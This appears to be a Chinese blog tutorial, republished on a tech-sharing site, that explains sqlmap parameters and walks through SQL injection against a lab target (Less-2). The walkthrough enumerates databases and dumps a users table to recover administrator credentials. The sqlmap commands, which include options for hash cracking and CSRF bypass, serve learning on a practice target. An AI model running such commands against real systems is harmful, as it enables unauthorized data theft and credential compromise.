ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

web安全-sqlmap的使用

2021-01-28 15:30:00  阅读:243  来源: 互联网

标签:sqlmap web kali 数据库 安全 sql id 注入


sqlmap工具的使用

一、前言

  sqlmap是一款非常好用的自动化的sql注入工具,本文演示中的目标是靶机的Less-2,使用kali自带的工具sqlmap进行注入。其中kali版本为2020.3。
  本文只是简单的学习使用工具,若需要了解更多请点击前往sqlmap中文使用手册学习。

二、参数说明

  在这里我将说明sqlmap使用过程中常用到的一些参数。

参数作用
-u指定目标URL
–ignore-401使用该参数忽略401错误(未认证)
–delay定HTTP请求之间的延迟
–randomize随机生成每次HTTP请求中参数的值
–safe-url隔一会就访问一下的安全URL
–csrf-token 和 –csrf-url绕过CSRF保护
-o一键优化
-p “id”测试注入点
–dbms指定数据库
–level用于指定检测级别,有1~5共5级
–risk指定风险等级,有1~4共4级
-dbs 和 -D查询所有数据库名
-tables 和 -T查询所有表名
–common-tables暴力破解表名
columns查询所有列名
–common-columns暴力破解列名
–all一键列举全部数据
-b列举数据库管理系统信息
–current-db列举当前数据库
–current-user列举当前用户
–passwords列举并破解数据库管理系统用户密码Hash值
–count统计数据数目
–dump列举表中数据

  我所列举出来的参数仅是个人感觉有用的,标注出来的是最基础的。工具就在于懂得原理之后去使用!

三、注入演示

  sql注入的步骤主要分为:找注入点->查库->查表->出数据。具体的sql注入请前往另一篇博客web安全-sql注入学习。接下来我们直接展示!
  开始之前我们得需要明白我们的目标是啥!!!!我们的目标就是找到这个网站的管理员账户和密码!!

1、寻找注入点

  简单的测试我们便知道目标网站的注入点是:id,通过get传参。

2、查库

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  -dbs

结果展示:
在这里插入图片描述  以上是所有数据库,那么怎么查询本站的数据库呢?

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  –current-db

结果展示:
在这里插入图片描述
  到这里我们知道了数据库是‘security’。接下来我们就需要查看这个库中有哪些表呢?

3、查表

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  --count -D security

结果展示:
在这里插入图片描述
  这里我采用了给这个数据库中的表统计数据,去除空表,可以看到users表肯定是我们想要的账号密码数据表。接下来我们就该让他出数据了。

4、出数据

Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1  --dump -D security -T users

结果展示:
在这里插入图片描述
  这里让它列出来了表中的所有数据,我们可以看到所有用户账号密码。自然也有管理员账户和密码,目标达成!
  到这里我们的演示就结束了!

注:
  以上演示的是get传参,若使用post传参则Payload有所不同,需要用抓包工具将请求包的数据放入txt文件读取注入,展示如下:

Payload:root@kali:~/桌面# sqlmap -r test.txt -dbs

结果展示:
在这里插入图片描述

标签:sqlmap,web,kali,数据库,安全,sql,id,注入
来源: https://blog.csdn.net/weixin_45873676/article/details/113336044

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有